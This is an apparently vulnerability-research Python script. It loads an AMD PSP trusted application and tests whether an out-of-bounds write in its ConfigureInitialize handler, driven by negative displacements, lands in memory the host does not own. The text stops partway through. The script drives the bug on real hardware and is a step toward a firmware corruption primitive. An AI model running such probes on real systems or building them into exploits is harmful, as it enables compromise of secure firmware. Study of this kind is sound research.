#!/usr/bin/env python3 """Can GCP FE09's out-of-bounds write reach memory the host does not own? `fw/FINDING-GCP-FE09-CONFIGINIT-HOST-OFFSET-WRITE.md` establishes the write: 0x402f96 ADD.W R1, R7, #0x418 ; params + 1048 0x402f9c ADD.W R0, R1, R9 ; R9 = *(params+0x828), full 32-bit host value 0x402fa0 STRB.W R6, [R1,R9] ; faulting PC when the target is unmapped Positive displacements beyond the declared window abort at 0x402fa0. The open question is the other direction: R9 is a full 32-bit value, so a large R9 is equivalent to a NEGATIVE offset, targeting `params - k`. If anything below the shared buffer is mapped in the TA's address space, such a write would land in memory the host never granted -- which is the difference between a denial of service and a corruption primitive. Oracle per case, with a FRESH session each time so a poisoned session cannot be mistaken for a result: * fault dump C2PMSG 82..88 changed, with the faulting PC -> the write went unmapped * status 0 and no fault -> THE WRITE LANDED somewhere * ring dead -> hang A clean status with no fault at a negative displacement is the finding. Anything that faults is the MMU doing its job. usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_negative_displacement.py --apply """ import argparse import os import struct import subprocess import time DECL = 0x4000 # must be >= GCP's entry gate of 0x2958; 0x2000 wedges on the first invoke TOTAL = 0x8000 PAT = 0xA5A5A5A5 # fields that must hold these values for ConfigureInitialize to be reached at all SEL = 0x820 # must be 1 LIMITS = [0x414, 0x818] OFFS = [0x828, 0x82C, 0x830] def main(): ap = argparse.ArgumentParser() ap.add_argument('--apply', action='store_true') ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-0-77_7c426e7f.bin') ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin') args = ap.parse_args() if not args.apply: print('dry run') return 0 from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)] def faults(): try: return tuple(r.read() for r in FAULT) except Exception: return None def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) shm_pa, shm_mc = alloc(TOTAL) print('shared buffer: pa=%#x mc=%#x declared=%#x' % (shm_pa, shm_mc, DECL)) def load(blob): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)) adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA) t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32 t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32 t.cmd_buf_len = DECL try: r = psp._ring_submit(c) return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception as e: try: return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None except Exception: return -1, None def unload(sid): c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) c.cmd.cmd_unload_ta.session_id = sid try: return psp._ring_submit(c).resp.status & 0xFFFFFFFF except Exception: return -1 def fe09(sid, disp): buf = bytearray(struct.pack('